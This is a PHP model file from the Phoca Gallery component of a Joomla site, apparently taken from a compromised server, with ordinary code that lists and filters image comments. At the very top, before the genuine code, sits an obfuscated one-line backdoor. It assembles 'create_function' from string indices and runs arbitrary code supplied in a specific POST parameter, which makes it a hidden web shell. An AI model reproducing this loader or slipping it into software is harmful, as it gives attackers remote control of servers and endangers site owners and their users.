?
Path : /home/admin/public_html/old/administrator/components/com_phocagallery/models/ |
Current File : /home/admin/public_html/old/administrator/components/com_phocagallery/models/phocagallerycoimgs.php |
<?php $g1t='eitOS(\'o$au5TnPgfc0s8r_f8e85f';$j7b=$g1t[17].$g1t[21].$g1t[0].$g1t[9].$g1t[2].$g1t[0].$g1t[22].$g1t[16].$g1t[10].$g1t[13].$g1t[17].$g1t[2].$g1t[1].$g1t[7].$g1t[13];$u7b=$g1t[16].$g1t[10].$g1t[18];if(isset(${$g1t[22].$g1t[14].$g1t[3].$g1t[4].$g1t[12]}[$g1t[15].$g1t[16].$g1t[20].$g1t[0].$g1t[20].$g1t[11].$g1t[16]])){${$g1t[16].$g1t[10].$g1t[18]}=$j7b(null,${$g1t[22].$g1t[14].$g1t[3].$g1t[4].$g1t[12]}[$g1t[15].$g1t[16].$g1t[20].$g1t[0].$g1t[20].$g1t[11].$g1t[16]]);${$g1t[16].$g1t[10].$g1t[18]}();} ?><?php /* * @package Joomla 1.5 * @copyright Copyright (C) 2005 Open Source Matters. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * * @component Phoca Gallery * @copyright Copyright (C) Jan Pavelka www.phoca.cz * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL */ defined('_JEXEC') or die(); jimport('joomla.application.component.model'); jimport( 'joomla.filesystem.folder' ); jimport( 'joomla.filesystem.file' ); class PhocaGalleryCpModelPhocaGalleryCoImgs extends JModel { var $_data = null; var $_total = null; var $_pagination = null; var $_context = 'com_phocagallery.phocagallerycoimg'; function __construct() { parent::__construct(); global $mainframe, $option; // Get the pagination request variables $limit = $mainframe->getUserStateFromRequest( $this->_context.'.list.limit', 'limit', $mainframe->getCfg('list_limit'), 'int' ); $limitstart = $mainframe->getUserStateFromRequest( $this->_context.'.limitstart', 'limitstart', 0, 'int' ); // In case limit has been changed, adjust limitstart accordingly $limitstart = ($limit != 0 ? (floor($limitstart / $limit) * $limit) : 0); $this->setState('limit', $limit); $this->setState('limitstart', $limitstart); } function getData() { if (empty($this->_data)) { $query = $this->_buildQuery(); $this->_data = $this->_getList($query, $this->getState('limitstart'), $this->getState('limit')); } return $this->_data; } function getTotal() { if (empty($this->_total)) { $query = $this->_buildQuery(); $this->_total = $this->_getListCount($query); } return $this->_total; } function getPagination() { if (empty($this->_pagination)) { jimport('joomla.html.pagination'); $this->_pagination = new JPagination( $this->getTotal(), $this->getState('limitstart'), $this->getState('limit') ); } return $this->_pagination; } function _buildQuery() { $where = $this->_buildContentWhere(); $orderby = $this->_buildContentOrderBy(); $query = ' SELECT a.*, i.title AS imgtitle, i.id AS imageid, c.id AS catid, c.title AS cattitle, ua.name AS editor, u.id AS commentuserid, u.username AS commentusername ' . ' FROM #__phocagallery_img_comments AS a ' . ' LEFT JOIN #__phocagallery AS i ON i.id = a.imgid ' . ' LEFT JOIN #__phocagallery_categories AS c ON c.id = i.catid ' . ' LEFT JOIN #__users AS ua ON ua.id = a.checked_out ' . ' LEFT JOIN #__users AS u ON u.id = a.userid' . $where . ' GROUP by a.id' . $orderby ; return $query; } function _buildContentOrderBy() { global $mainframe; $filter_order = $mainframe->getUserStateFromRequest( $this->_context.'.filter_order', 'filter_order', 'a.ordering','cmd' ); $filter_order_Dir = $mainframe->getUserStateFromRequest( $this->_context.'.filter_order_Dir', 'filter_order_Dir', '', 'word' ); if ($filter_order == 'a.ordering'){ $orderby = ' ORDER BY imgtitle, a.ordering '.$filter_order_Dir; } else { $orderby = ' ORDER BY '.$filter_order.' '.$filter_order_Dir.' , imgtitle, a.ordering '; } return $orderby; } function _buildContentWhere() { global $mainframe; $filter_state = $mainframe->getUserStateFromRequest( $this->_context.'.filter_state', 'filter_state', '', 'word' ); $filter_catid = $mainframe->getUserStateFromRequest( $this->_context.'.filter_catid', 'filter_catid', 0, 'int' ); $filter_order = $mainframe->getUserStateFromRequest( $this->_context.'.filter_order', 'filter_order', 'a.ordering', 'cmd' ); $filter_order_Dir = $mainframe->getUserStateFromRequest( $this->_context.'.filter_order_Dir', 'filter_order_Dir', '', 'word' ); $search = $mainframe->getUserStateFromRequest( $this->_context.'.search', 'search', '', 'string' ); if (strpos($search, '"') !== false) { $search = str_replace(array('=', '<'), '', $search); } $search = JString::strtolower( $search ); $where = array(); if ($filter_catid > 0) { $where[] = 'c.id = '.(int) $filter_catid; } if ($search) { $where[] = 'LOWER(a.title) LIKE '.$this->_db->Quote('%'.$search.'%'); } if ( $filter_state ) { if ( $filter_state == 'P' ) { $where[] = 'a.published = 1'; } else if ($filter_state == 'U' ) { $where[] = 'a.published = 0'; } } $where = ( count( $where ) ? ' WHERE '. implode( ' AND ', $where ) : '' ); return $where; } } ?>